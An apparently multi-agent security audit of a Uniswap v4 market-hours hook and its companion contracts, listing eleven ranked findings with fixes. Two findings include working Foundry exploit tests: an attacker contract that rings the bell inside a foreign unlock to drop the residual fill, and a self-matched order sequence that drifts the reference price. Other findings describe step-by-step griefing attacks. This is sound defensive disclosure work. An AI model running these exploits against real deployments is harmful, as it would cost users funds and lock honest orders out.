# Audit report

> Audit the IMD Bell contracts in src/. MarketHoursHook is a Uniswap v4 hook that lets its coin trade only during a daily session: while the market is closed, limit orders wait in two books and each book is filled at one clearing price when a bell rings (opening 12:00 UTC, closing 16:00 UTC). It creates BellGame (sealed commit-reveal guesses at the next opening price, points only, no tokens), BellRinger (rings the due bell, runs that bell's chores and pays the caller a capped reward priced from block.basefee) and SwarmBudget (pays two fixed nightly Intake requests); MarketHoursCoin is a fixed-supply ERC-20. Priorities: any way to lose, lock or steal user funds in the books, cancels, claims, the closed-market exit, refunds of a missed bell, or the fee splits and burns; any way to make a bell impossible to ring, to ring one twice, or to ring it with a manipulated price; rounding in the clearing price and in residual pool fills; reward farming or draining of the bell purse; front-running or griefing of the bells and of sealed guesses; and anything the univ4_hook launch policy would refuse at admission. The tests run offline with forge test.

| | |
|---|---|
| Repository | https://github.com/imdbell/imd-bell-contracts.git |
| Commit | `672a97bda3e705b98cb7ed54becbed189f713f57` |
| Job | `a300cdb8-36eb-408a-9b46-c8d94d108cda` |
| Judged | 2026-10-31 19:57 UTC |
| Findings | 1 high · 2 medium · 5 low · 3 info |

Four agents audited the code as it is at `672a97b`, each in one area (math, permissions, economics, control flow),
and a judge reproduced, merged and ranked what they found, then read the code once more itself. Nothing in the repository was changed or deployed.

## Findings

### 1. High: A bell rung from inside a foreign PoolManager unlock silently drops the residual pool fill and charges the heavy side the unfilled-order fee

`src/MarketHoursHook.sol:607`

```
            try manager.unlock(abi.encode(buyHeavy, resIn, true, r.p)) returns (bytes memory ret) {
```

_ring() wraps the whole manager.unlock call in try/catch so that a pool-side failure of the residual swap never stops the bell. The catch also swallows PoolManager.AlreadyUnlocked, which unlock throws whenever the manager is already inside another unlock. Any contract can call manager.unlock("") and, from its own unlockCallback, call hook.ringOpen() / hook.ringClose() (or BellRinger.ring()). The hook's nonReentrant guard is its own transient slot and is not set, so the scan runs, bl.rung = true and lastCleared are written, and then the residual manager.unlock reverts with AlreadyUnlocked, which is swallowed: the bell is final with residualFill == 0 and residualUp == 0. Consequences: (1) the heavy side's remainder, which the design routes through the curve at up to price(P*), never reaches the pool; (2) every heavy-side order's remainder is treated as 'what neither the book nor the pool filled' and pays the 0.5% unfilled-order fee at claim (lines 423-428) instead of being filled; (3) the attacker, still inside its own unlock and with bells[2*day].rung now true, can swap at the pre-residual price before anyone else, taking the price move the residual would have made. The attack costs only gas, needs no capital or privilege, and can be run on every open and close bell. The same swallowing hides an out-of-gas residual: a ringer that sends just BELL_GAS_FLOOR against a pool with many initialised ticks can exhaust the swap and reach the same state. Fix: before the try, read the manager's lock (manager.exttload(Lock.IS_UNLOCKED_SLOT)) and revert the ring if it is already unlocked; and distinguish a revert of unlock itself from a revert inside the swap (e.g. do the swap in its own try inside unlockCallback and return a flag) so only genuine pool-side failures are tolerated.

**Reproduction**

State: day D, buy-heavy opening book (sell 1 coin at bucket 0, buy 900 IMD at bucket 300; pool seeded coin-only over ticks [0, 12000) with L = 1e23, spot tick 0). At 12:00 UTC a plain ringOpen() yields bells[2D].residualFill > 0 (control run in the proof). Instead an attacker contract calls manager.unlock("") and in its unlockCallback calls hook.ringOpen(). Expected: the residual fills, or the ring is refused. Actual: the call succeeds, bells[2D].rung == true, bells[2D].residualFill == 0, charges[2D].residualUp == 0; the 900 IMD buyer's claim refunds its ~888 IMD remainder minus a ~4.4 IMD unfilled-order fee instead of receiving ~862 coin. Reproduced: test/scratch/NestedUnlockRing.t.sol fails on the current code with 'a bell rung from inside a foreign unlock cleared without its residual: 0 <= 0'.

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";
import {MarketHoursHook} from "src/MarketHoursHook.sol";
import {MarketHoursCoin} from "src/MarketHoursCoin.sol";

/// An attacker that rings the bell from inside its own PoolManager unlock. The hook's residual swap then calls
/// `manager.unlock` while the manager is already unlocked, which reverts with AlreadyUnlocked; `_ring` swallows it.
contract NestedRinger is IUnlockCallback {
    IPoolManager immutable manager;
    MarketHoursHook immutable hook;

    constructor(IPoolManager m, MarketHoursHook h) {
        manager = m;
        hook = h;
    }

    function attack() external {
        manager.unlock("");
    }

    function unlockCallback(bytes calldata) external returns (bytes memory) {
        require(msg.sender == address(manager));
        hook.ringOpen();
        return "";
    }
}

contract NestedUnlockRingTest is Test {
    uint256 constant OPEN = 43200;
    uint256 constant CLOSE = 57600;

    IPoolManager manager;
    address imd;
    MarketHoursCoin coin;
    MarketHoursHook hook;
    PoolKey key;
    PoolModifyLiquidityTest lp;
    address trader = makeAddr("trader");
    uint256 D;

    // ── the harness: the test plays the factory ──
    function claimFees(uint64) external pure returns (uint256, uint256) {
        return (0, 0);
    }

    function feeRecipient() external view returns (address) {
        return address(this);
    }

    function _create2At(bytes32 salt, bytes32 initHash) internal view returns (address) {
        return address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), salt, initHash)))));
    }

    function setUp() public {
        manager = IPoolManager(address(new PoolManager(address(this))));
        // IMD sorts high, the coin low, so the pool is (coin, IMD) and bucket b is pool tick b
        bytes32 hi = keccak256(abi.encodePacked(type(MockERC20).creationCode, abi.encode("IMD", "IMD", uint8(18))));
        uint256 i;
        while (_create2At(bytes32(i), hi) < address(uint160(0xD0) << 152)) ++i;
        imd = address(new MockERC20{salt: bytes32(i)}("IMD", "IMD", 18));
        bytes32 hc = keccak256(abi.encodePacked(type(MarketHoursCoin).creationCode, abi.encode("Coin", "COIN")));
        i = 0;
        while (_create2At(bytes32(i), hc) > imd) ++i;
        coin = new MarketHoursCoin{salt: bytes32(i)}("Coin", "COIN");

        MarketHoursHook.Params memory p;
        p.manager = manager;
        p.factory = address(this);
        p.imd = imd;
        p.coin = address(coin);
        p.feeWallet = makeAddr("feeWallet");
        p.burnExecutor = makeAddr("burnExecutor");
        p.launchFees = address(this);
        p.intake = makeAddr("intake");
        p.maxBlockMoveBps = 500;
        p.maxSwapImd = 10_000e18;
        p.networkBps = 2000;
        p.feeWalletBps = 2000;
        p.swarmFeeBps = 1000;
        p.burnBps = 4000;
        p.bellPurseBps = 1000;
        p.launchNumber = 1;
        bytes memory init = abi.encodePacked(type(MarketHoursHook).creationCode, abi.encode(p));
        bytes32 ih = keccak256(init);
        i = 0;
        while (uint160(_create2At(bytes32(i), ih)) & 0x3FFF != 0x2080) ++i;
        address at;
        bytes32 salt = bytes32(i);
        assembly ("memory-safe") {
            at := create2(0, add(init, 0x20), mload(init), salt)
        }
        require(at != address(0), "hook create2 failed");
        hook = MarketHoursHook(at);

        key = PoolKey(Currency.wrap(address(coin)), Currency.wrap(imd), 12_500, 60, IHooks(at));
        manager.initialize(key, TickMath.getSqrtPriceAtTick(0));
        lp = new PoolModifyLiquidityTest(manager);
        coin.approve(address(lp), type(uint256).max);
        MockERC20(imd).mint(address(this), 1e30);
        MockERC20(imd).approve(address(lp), type(uint256).max);
        // a coin-only seed above spot, as the factory places it: the opening residual buys from it
        lp.modifyLiquidity(key, IPoolManager.ModifyLiquidityParams(0, 12_000, int256(uint256(1e23)), 0), "");

        coin.transfer(trader, 1_000_000e18);
        MockERC20(imd).mint(trader, 1_000_000e18);
        vm.startPrank(trader);
        coin.approve(at, type(uint256).max);
        MockERC20(imd).approve(at, type(uint256).max);
        vm.stopPrank();
        D = block.timestamp / 1 days + 1;
    }

    /// A buy-heavy opening book: one sell of 1 coin at bucket 0 and a 900 IMD buy at bucket 300. The book matches
    /// 1 coin and leaves about 888 IMD of residual, which the ring sends through the pool at up to price(300).
    function _book() internal {
        vm.warp(D * 1 days + 1 hours);
        vm.startPrank(trader);
        hook.placeOrder(2 * D, false, 0, 1e18);
        hook.placeOrder(2 * D, true, 300, 900e18);
        vm.stopPrank();
        vm.warp(D * 1 days + OPEN);
    }

    function test_ringFromInsideForeignUnlockDropsTheResidual() public {
        _book();
        // control: a plain ring fills the residual through the pool
        uint256 snap = vm.snapshotState();
        hook.ringOpen();
        (, bool rung0, bool heavy0,,, uint64 rf0) = hook.bells(2 * D);
        assertTrue(rung0 && heavy0, "precondition: the open rang buy-heavy");
        assertGt(rf0, 0, "precondition: a plain ring fills the residual");
        vm.revertToState(snap);

        // the same book, rung from inside an unrelated unlock
        NestedRinger a = new NestedRinger(manager, hook);
        try a.attack() {
            (, bool rung,,,, uint64 rf) = hook.bells(2 * D);
            assertTrue(rung, "the bell rang");
            // on the code as it stands this fails: the bell is rung with residualFill == 0, the residual never
            // reached the pool, and every heavy-side order's unfilled part now pays the unfilled-order fee
            assertGt(rf, 0, "a bell rung from inside a foreign unlock cleared without its residual");
        } catch {
            // fixed: the hook refuses to ring while the PoolManager is already unlocked
        }
    }
}
```

### 2. Medium: Two dust self-matched orders walk the book reference 200 buckets per bell off the pool price and lock honest orders out with BadBucket

`src/MarketHoursHook.sol:600`

```
        lastCleared = r.p;
```

The next book's reference (referenceOf -> lastCleared or the previous bell's pStar) is whatever the last bell cleared at, and _scan picks the bucket with the largest matched volume with no minimum size and no anchor to the pool's price. One actor placing the two smallest permitted orders (a 0.5 IMD buy and a MIN_ORDER-worth sell) at the same bucket at the band's top edge matches with himself there; when the book is otherwise empty or thin that is the largest match, so P* and lastCleared move 200 buckets (x3.32 in price) per bell for about 0.012 IMD of bell and unfilled fees each. After the open and close bells of one day the reference is 400 buckets (x11) from the pool price and the pool's actual price is outside the next book's +/-200-bucket band: every honest placeOrder at or near the market price reverts BadBucket, so the order books are unusable for as long as the attacker spends about 0.025 IMD a day. Honest buys that are placed inside the drifted band are charged at P* while the residual buys from the pool at the real price, the difference going to burnAccrued (line 616), so they lose most of their value. The sell side's MIN_ORDER and depositCap are valued at the drifted reference, and indicativePrice used by the game and swarm is meaningless. Only the zero-match path (lines 558-566) anchors to the session mean, and any match beats it. Recovery is only 200 buckets per un-manipulated bell and nobody owns the hook. Fix: anchor the reference (or clamp P*) to the pool's price or the session mean rather than lastCleared alone, or require a matched volume above a meaningful floor before a bell may move lastCleared, falling back to the zero-match reference otherwise.

**Reproduction**

Pool initialised at tick 0 (1 IMD per coin), book empty. Day D 01:00: attacker placeOrder(2D, buy, bucket 12000, 0.5e18) and placeOrder(2D, sell, bucket 12000, 0.5e18). 12:00 ringOpen(): bells[2D].pStar = 12000, lastCleared = 12000 (the sell-heavy residual's swap reverts on its price limit and is swallowed). Then placeOrder(2D+1, buy, 24000, 0.5e18) and placeOrder(2D+1, sell, 24000, 0.2e18); 16:00 ringClose(): lastCleared = 24000. Attacker claims all four orders: total loss 24,691,358,024,691,375 wei IMD (0.0247 IMD), 0 coin. Pool tick is still 0. Day D+1 01:00: honest placeOrder(2(D+1), buy, bucket 0, 100e18). Expected: an order at the pool's price can be placed. Actual: revert BadBucket (band is [12000, 36000]). Reproduced: test/scratch/ReferenceDrift.t.sol fails with BadBucket() on the current code.

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test, console2} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {PoolId, PoolIdLibrary} from "v4-core/src/types/PoolId.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";
import {MarketHoursHook} from "src/MarketHoursHook.sol";
import {MarketHoursCoin} from "src/MarketHoursCoin.sol";

/// The book's reference is whatever the last bell cleared at, and a bell clears at the bucket with the most matched
/// volume, however small. One actor who places the two smallest orders at the top edge of the band matches with
/// himself there, so the bell clears 200 buckets (x3.32) above the pool's price for about 0.02 IMD of fees. Two such
/// bells (open and close of one day) put the pool's actual price outside the next book's band: no honest order can be
/// placed at or near the market price any more (BadBucket), while the pool itself has not moved a tick.
contract ReferenceDriftTest is Test {
    using StateLibrary for IPoolManager;
    using PoolIdLibrary for PoolKey;

    uint160 internal constant FLAGS = 0x2080; // BEFORE_INITIALIZE | BEFORE_SWAP
    uint256 internal constant OPEN = 43200;
    uint256 internal constant CLOSE = 57600;

    IPoolManager internal manager;
    MockERC20 internal imd;
    MarketHoursCoin internal coin;
    MarketHoursHook internal hook;
    PoolKey internal key;
    address internal attacker = makeAddr("attacker");
    address internal honest = makeAddr("honest");
    uint256 internal D;

    function setUp() public {
        manager = IPoolManager(address(new PoolManager(address(this))));
        imd = new MockERC20("IMD", "IMD", 18);
        coin = new MarketHoursCoin("Coin", "COIN");
        MarketHoursHook.Params memory p;
        p.manager = manager;
        p.factory = address(this);
        p.imd = address(imd);
        p.coin = address(coin);
        p.feeWallet = makeAddr("feeWallet");
        p.burnExecutor = makeAddr("burnExecutor");
        p.launchFees = makeAddr("launchFees");
        p.intake = makeAddr("intake");
        p.maxBlockMoveBps = 500;
        p.maxSwapImd = 10_000e18;
        p.networkBps = 2000;
        p.feeWalletBps = 2000;
        p.swarmFeeBps = 1000;
        p.burnBps = 4000;
        p.bellPurseBps = 1000;
        p.launchNumber = 1;
        bytes memory init = abi.encodePacked(type(MarketHoursHook).creationCode, abi.encode(p));
        bytes32 h = keccak256(init);
        bytes32 salt;
        for (uint256 i;; ++i) {
            address a = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), h)))));
            if (uint160(a) & 0x3FFF == FLAGS) {
                salt = bytes32(i);
                break;
            }
        }
        address at;
        assembly ("memory-safe") {
            at := create2(0, add(init, 0x20), mload(init), salt)
        }
        require(at != address(0), "hook CREATE2 failed");
        hook = MarketHoursHook(at);
        (address c0, address c1) =
            address(imd) < address(coin) ? (address(imd), address(coin)) : (address(coin), address(imd));
        key = PoolKey(Currency.wrap(c0), Currency.wrap(c1), 12_500, 60, IHooks(at));
        // the factory (this contract) initialises the pool at tick 0: 1 IMD per coin, so bucket 0 is the market price
        manager.initialize(key, TickMath.getSqrtPriceAtTick(0));
        imd.mint(attacker, 100e18);
        coin.transfer(attacker, 100e18);
        imd.mint(honest, 1_000e18);
        vm.startPrank(attacker);
        imd.approve(at, type(uint256).max);
        coin.approve(at, type(uint256).max);
        vm.stopPrank();
        vm.prank(honest);
        imd.approve(at, type(uint256).max);
        D = block.timestamp / 1 days + 1;
    }

    function test_twoSmallestSelfMatchedOrdersLockTheMarketPriceOutOfTheBook() public {
        int24 ref0 = hook.lastCleared();
        assertEq(ref0, 0, "the reference starts at the pool's launch price");
        int256 imd0 = int256(imd.balanceOf(attacker));
        int256 coin0 = int256(coin.balanceOf(attacker));

        // day D, 01:00: the open book. Two smallest orders, both at the band's top edge, ref + 200 buckets.
        vm.warp(D * 1 days + 1 hours);
        vm.startPrank(attacker);
        uint256 b1 = hook.placeOrder(2 * D, true, ref0 + 12_000, 0.5e18);
        uint256 s1 = hook.placeOrder(2 * D, false, ref0 + 12_000, 0.5e18);
        vm.stopPrank();
        vm.warp(D * 1 days + OPEN);
        hook.ringOpen();
        (int24 pOpen,,,,,) = hook.bells(2 * D);
        assertEq(pOpen, ref0 + 12_000, "the open cleared at the attacker's bucket, 200 buckets above the market");
        assertEq(hook.lastCleared(), ref0 + 12_000);

        // the close book: again at the new band's top edge (the sell is valued at the new reference, so 0.2 coin is enough)
        vm.startPrank(attacker);
        uint256 b2 = hook.placeOrder(2 * D + 1, true, ref0 + 24_000, 0.5e18);
        uint256 s2 = hook.placeOrder(2 * D + 1, false, ref0 + 24_000, 0.2e18);
        vm.stopPrank();
        vm.warp(D * 1 days + CLOSE);
        hook.ringClose();
        assertEq(hook.lastCleared(), ref0 + 24_000, "two bells: the reference is 400 buckets (x11) above the pool");

        // the attacker takes everything back; the whole exercise cost him the fees on two 0.5 IMD matches
        hook.claim(b1);
        hook.claim(s1);
        hook.claim(b2);
        hook.claim(s2);
        int256 lostImd = imd0 - int256(imd.balanceOf(attacker));
        int256 lostCoin = coin0 - int256(coin.balanceOf(attacker));
        console2.log("attacker IMD lost (wei)", lostImd);
        console2.log("attacker coin lost (wei)", lostCoin);
        assertLt(lostImd + lostCoin, 0.1e18, "the drift cost less than 0.1 IMD at the pool's price of 1 IMD per coin");

        // the pool never traded: its price is still bucket 0
        (, int24 tick,,) = manager.getSlot0(key.toId());
        assertEq(tick, 0, "the pool's price did not move");

        // day D+1, 01:00: the open book's band is [ref0 + 12000, ref0 + 36000]; a buy at the pool's price is refused.
        // Expected: an order at the market price is always placeable; actual: BadBucket.
        vm.warp((D + 1) * 1 days + 1 hours);
        vm.prank(honest);
        hook.placeOrder(2 * (D + 1), true, ref0, 100e18);
    }
}
```

### 3. Medium: Shared per-book deposit cap can be filled by one never-matched order for 0.5% of the cap, blocking every other order with BookFull

`src/MarketHoursHook.sol:309`

```
        if (total > depositCap()) revert BookFull();
```

bookImdTotal[s] is a single capacity shared by every order of a book (1,000 IMD in launch week, doubling weekly to 100,000 IMD), checked only on entry and released only by cancel or the bell. One wallet can consume the whole cap with a buy at the lowest bucket of the band (ref - 12000), which the scan never reaches, so every later placeOrder for that book reverts BookFull for the whole entry window. Because the bucket is not reached, the occupier's only cost is the unfilled-order fee of CANCEL_FEE_BPS = 50 bps at claim (lines 429-432), or the same 0.5% cancel fee; cancelling at 10:49 and re-placing keeps the book blocked through the no-cancel hour. Cost in week one: 5 IMD per bell (10 IMD a day) to deny all order flow; the bell still rings (a zero-match bell at the reference), the game's tickets for that day are limited to the occupier, and nothing can adjust the cap after deployment. Reported by three specialists; merged. Fix options that keep the cap: a per-owner share of the cap, an unfilled/cancel fee that rises with the order's distance from the reference, or counting far-bucket orders only partially against the cap.

**Reproduction**

Day D-1 after the close settles, or day D at 01:00 (launch week, depositCap() == 1000e18, ref = referenceOf(2D) = 0): attacker calls placeOrder(2D, true, -12000, 1000e18) -> succeeds, bookImdTotal[2D] == 1000e18. Any other user then calls placeOrder(2D, true, 0, 1e18) or placeOrder(2D, false, 0, 1e18). Expected: other users can still join the book. Actual: revert BookFull(). At 12:00 ringOpen() clears a zero-match bell at bucket 0; the attacker's claim takes the unreached branch: unfilledFee = divUp(1000e18 * 50, 10000) = 5e18 and 995e18 is refunded. Repeatable every bell. Verified by code trace of placeOrder (lines 303-310) and _outcome (lines 429-432); two specialists also reported a passing Foundry run of the same sequence. Reproduced: test/scratch/JudgeChecks.t.sol test_capStarve passes on the current code (both honest orders revert BookFull; the occupier's claim refunds exactly 995e18).

### 4. Low: An opening bell rung after 15:30 UTC leaves no reveal window: settle cannot run before 16:00 and reveal closes at 16:00, so every sealed guess for that day is forfeited while the day still goes final

`src/BellGame.sol:131`

```
        if (t < openedAt + SETTLE_WINDOW) revert TooEarly();
```

settle(day) requires block.timestamp >= openedAt + SETTLE_WINDOW (1800 s from the bell's own time), reveal() requires the day to be settled and block.timestamp % 1 days < CLOSE_BELL (line 147), and the hook accepts ringOpen() at any time in [12:00, 16:00) (MarketHoursHook.sol line 453). Whenever the opening bell rings at or after 15:30, the earliest settle is at or after 16:00, so no reveal can ever succeed for that day. The day is then settled with isVoid == false, _final() becomes true, finalRanks() reports a final day with empty slots, tally reverts NoPoints for everyone, and every ticket committed for that day (ticketUsed already set in commit) is consumed with no chance to reveal. The ringer's own close chore settle(d) at 16:00 is also skipped with TooEarly. Nobody needs to act maliciously and a griefer cannot force it, since anyone may ring at 12:00; a slow day is enough. Points only, no tokens. Reported by four specialists; merged. Fix: in settle(), when rung, treat openedAt + SETTLE_WINDOW >= day * 1 days + CLOSE_BELL as void, or let reveals run until a fixed period after settle rather than a fixed clock time.

**Reproduction**

Day D-1: a player commits a ticket for day D. Day D: nobody calls ringOpen() until 15:31:00 (tod 55860); it succeeds (tod < 57600): window.openedAt = D*86400 + 55860. settle(D) at 15:59:59 reverts TooEarly (t < openedAt + 1800 = 16:01:00). settle(D) at 16:01:00 succeeds with isVoid == false. reveal(orderId, guess, salt) at any later time reverts RevealClosed (tod >= 57600). Expected: the day is void (tickets not consumed) or a reveal is possible. Actual: dayState(D) is settled and not void, finalRanks(D).isFinal == true with empty slots, and every ticket committed for day D is spent. Verified by code trace of settle (lines 116-138), reveal (lines 143-147) and ringOpen (MarketHoursHook.sol lines 450-455). Reproduced: test/scratch/JudgeChecks.t.sol test_lateOpenBellNoRevealWindow passes on the current code (settle at 15:59:59 reverts TooEarly, settle at 16:01 succeeds not void, reveal reverts RevealClosed, finalRanks isFinal with count 0, ticketUsed true).

### 5. Low: The smallest buy order that fills completely never pays for its guess ticket, while a sell of the same size does

`src/MarketHoursHook.sol:498`

```
        return unfilledFee > 0 || filledImd >= MIN_ORDER;
```

placeOrder admits a buy when its gross escrow amount is at least MIN_ORDER (0.5 IMD), and the docs say such an order earns one guess ticket. ticketPaid compares filledImd, which for a buy is bookIn + resIn (at most _net(amount) = amount * 10000 / 10125), against the same MIN_ORDER. A buy of 0.5e18 that fills entirely has filledImd <= 493,827,160,493,827,160 < 0.5e18 and unfilledFee = 0, so BellGame.reveal refuses its commit with TicketUnpaid although it paid the full 1.25% bell fee; any buy below 0.50625e18 that fills whole is in the same position. A sell of the same IMD value that fills whole is counted (filledImd = _coinToImd(a, sp) >= MIN_ORDER). The asymmetry decides who may reveal in the points game. Fix: compare a buy's filledImd against _net(MIN_ORDER), or count a fully filled order as paid regardless of size.

**Reproduction**

Pool at tick 0, book 2D: placeOrder(2D, buy, bucket 0, 0.5e18) and placeOrder(2D, sell, bucket 0, 5e18); 12:00 ringOpen (sell-heavy, P* = 0; the buy is on the light side and fills whole). _outcome for the buy: net = 0.5e18 * 10000 / 10125 = 493,827,160,493,827,160; bookIn = net, resIn = 0, filledImd = 493,827,160,493,827,160, unfilledFee = 0. ticketPaid(buyId) returns false, so BellGame.reveal for that order's commit reverts TicketUnpaid. Expected: a smallest order that filled whole and paid the bell fee has paid for its ticket. Actual: false for every buy below 0.50625e18. Verified by code trace of _net (line 724), _outcome (lines 392-416) and ticketPaid (line 498). Reproduced: test/scratch/JudgeChecks.t.sol test_smallestBuyTicketUnpaid passes on the current code (ticketPaid false for the 0.5e18 buy that filled whole; true for a 0.5e18-worth sell that filled whole).

### 6. Low: Constructor accepts bellPurseBps above 9,000, which makes harvest() underflow forever and strands every unaccounted IMD inflow

`src/MarketHoursHook.sol:809`

```
        burnAccrued += hi - sw - bp;
```

harvest splits unaccounted IMD as sw = hi * SWARM_BPS (1,000) / 10,000 plus bp = hi * bellPurseBps / 10,000 and burns the remainder. The constructor (line 261) only checks that the five fee shares sum to 10,000, so bellPurseBps may be anything up to 10,000; with bellPurseBps > 9,000, sw + bp exceeds hi and this line reverts with an arithmetic underflow on every harvest with any inflow of at least 10 wei. harvest is the only path that folds the factory's requester push and stray transfers into the accruals, and the ringer's chore 2 is skipped every day, so those IMD are stranded in the hook with no owner able to change the figure. The deploy script uses 1,000, so this is a missing admission check rather than a live bug. Fix: require SWARM_BPS + p.bellPurseBps <= 10_000 in the constructor.

**Reproduction**

Deploy with networkBps = 500, feeWalletBps = 0, swarmFeeBps = 0, burnBps = 0, bellPurseBps = 9_500 (sums to 10,000, accepted by line 261). Transfer 100e18 IMD to the hook; call harvest(): hi = 100e18, sw = 10e18, bp = 95e18, hi - sw - bp underflows -> revert (panic 0x11). Expected: a configuration the constructor accepts can harvest. Actual: harvest is permanently unusable and the inflow stays unaccounted. Verified by code trace of the constructor check (line 261) and harvest (lines 800-815). Reproduced: test/scratch/JudgeChecks.t.sol test_harvestUnderflow passes on the current code (hook deployed with bellPurseBps 9500 and networkBps 500 accepted; harvest() after a 100e18 transfer reverts).

### 7. Low: placeOrder and cancelOrder do not require the pool to be initialised: an order placed before beforeInitialize is valued at reference 0 and its cancel underflows after initialisation

`src/MarketHoursHook.sol:303`

```
        if (!_enterable(s)) revert NotEnterable();
```

beforeInitialize sets lastCleared from the pool's starting price, but placeOrder only checks _enterable(s), never `initialized`. Before the factory's initialize call referenceOf(s) is lastCleared == 0, so the band is [-12000, 12000] around bucket 0 and sells are valued at _sqrtAt(0) (1 IMD per coin). Once beforeInitialize runs, lastCleared becomes the pool's nearest bucket and every later read of the same book uses the new reference: cancelOrder subtracts _coinToImd(a, _sqrtAt(newRef)) from bookImdTotal, which underflows and reverts when that order is the book's only sell (or removes a wrong amount when other orders exist, corrupting the cap accounting), and the order's bucket may lie outside the band the scan covers, so it pays the unfilled-order fee. The hook does not enforce that deployment and pool initialisation happen in one transaction. Funds are not lost (claim after the bell or deadline still pays the escrow) but the cancel path reverts and bookImdTotal[s] is wrong. Fix: revert placeOrder (and cancelOrder) while !initialized.

**Reproduction**

State: hook deployed, pool not yet initialised (initialized == false, lastCleared == 0), block time 02:00 UTC of day d (book 2d enterable: closeSettled(d-1) is true by the deadline). User U calls placeOrder(2d, false, 0, 1e18): passes BadBucket, imdValue = _coinToImd(1e18, sqrtAt(0)) = 1e18, bookImdTotal[2d] = 1e18. Factory then initialises the pool at tick 6000 (1.822 IMD per coin): lastCleared = 6000. U calls cancelOrder(id) at 03:00: bookImdTotal[2d] -= _coinToImd(1e18, _sqrtAt(6000)) = 1.822e18 -> arithmetic underflow revert. Expected: an order is refused before initialisation or cancellable with the total it was added with. Actual: cancel reverts. Verified by code trace of placeOrder (lines 303-310), cancelOrder (line 330) and beforeInitialize (lines 896-905); the math specialist also reported a passing Foundry run of this sequence.

### 8. Low: Round-trip guard keyed on the router lets anyone block one swap direction per block for every user of a router without msgSender()

`src/MarketHoursHook.sol:973`

```
        if (last >> 1 == block.number && last & 1 != dir) revert RoundTrip();
```

When the swap's sender does not answer msgSender() with tx.origin, the identity for the round-trip rule is the router itself (lines 967-975). All users of such a router (any aggregator, smart wallet or custom router without that selector, and v4's own PoolSwapTest) then share one direction per block. A griefer who swaps 1 wei in direction A through that router first in a block makes every other user's direction-B swap through it revert RoundTrip for the block, for the gas of a dust swap; repeated every block it halves the usable market for those users for the session. The comment calls the guard a speed bump, so this is a documented trade-off, but the griefing input is concrete and nearly free.

**Reproduction**

Session open, router R without msgSender(). Block N: griefer swaps 1 wei zeroForOne through R: beforeSwap -> _roundTrip(R, true) sets lastSwap[R] = (N << 1) | 1. Same block: honest user swaps oneForZero through R: _roundTrip(R, false): last >> 1 == N and last & 1 (1) != dir (0) -> revert RoundTrip. Expected: unrelated users are not coupled. Actual: one direction per block per router for all of them. Verified by code trace of _roundTrip (lines 967-975).

### 9. Info: BellRinger pays the full 3 IMD cap whenever the ETH/IMD price read is zero, absent or out of range, so an uninitialised or thin ETH/IMD pool drains the purse at the cap rate

`src/BellRinger.sol:234`

```
        if (sp == 0 || sp >> 128 != 0 || costWei >> 95 != 0) return cap;
```

_reward prices the ring's gas in IMD from the slot0 of one hard-coded pool (native ETH / IMD, fee 10000, spacing 200, no hook) read by extsload. If that pool is not initialised on the chain the hook is deployed to, if the key differs, or if the read fails, sp is 0 and the function returns the cap. A ringer can also move a thin pool's spot in the same transaction so that r >= cap. In all those states the reward is decoupled from gas: each ring pays RING_REWARD_CAP = 3 IMD and each bridged push 0.5 IMD, so the purse pays ringers up to 6 IMD a day instead of about 1.5x the gas. The comments document the cap as the bound on a bad price, so this is a trust assumption on the ETH/IMD pool to be checked at admission (the pool must exist and be deep), not a code defect; a fallback of paying nothing or a small fixed amount on a zero read would remove it.

**Reproduction**

Deploy the hook against a PoolManager that has no ETH/IMD pool (the repo's offline environment), top the ringer up with 10 IMD, warp to 12:00 and call ring() with basefee 1 gwei. Expected: a reward near 1.5 x gasUsed x 1.01 gwei in IMD. Actual: sp == 0, so _reward returns cap and the caller receives exactly 3e18 IMD. Verified by code trace of _reward (lines 221-237); the economics specialist reported a passing Foundry run (test_ringerPaysCapWhenPriceReadIsZero).

### 10. Info: Anyone can front-run BellRinger.ring() with a direct hook.ringOpen()/ringClose(), making the ringer's transaction revert and skipping every chore for that bell

`src/MarketHoursHook.sol:578`

```
        if (bl.rung) revert BellAlreadyRung();
```

ringOpen/ringClose on the hook are permissionless and pay nothing; BellRinger.ring() calls them first and reverts as a whole when the bell is already rung (BellRinger.sol lines 150 and 157). A griefer who sees a pending ring() can ring the hook directly in the same block for about 30k gas: the honest ringer's transaction reverts, no reward is paid, and the chores claimFees, harvest, claimSwarmBudget, claimBellPurse, claimNetworkFees (open) or settle and requestNight (close) are not run until someone calls them by hand. The griefer gains nothing, so this degrades the liveness of the fee claims and the swarm's nightly request rather than losing funds. A fix that keeps the design: have ring() still run the chores (and pay a reduced reward) when the bell was already rung this block, or make the hook's ring entry points callable only through the ringer.

**Reproduction**

At 12:00 on day D with the open bell due: tx1 (griefer) hook.ringOpen(); tx2 (honest ringer) BellRinger.ring(). Expected: tx2 rings the bell, runs the five chores and is paid. Actual: hook.ringOpen() inside tx2 reverts BellAlreadyRung, the whole ring() reverts, Rewarded is never emitted and no chore runs. Verified by code trace of _ring (line 578) and BellRinger.ring (lines 138-163).

### 11. Info: Pro-rata rationing of strictly-inside orders (innerFill below 1e18) is not exempt from the unfilled-order fee, unlike the marginal bucket

`src/MarketHoursHook.sol:399`

```
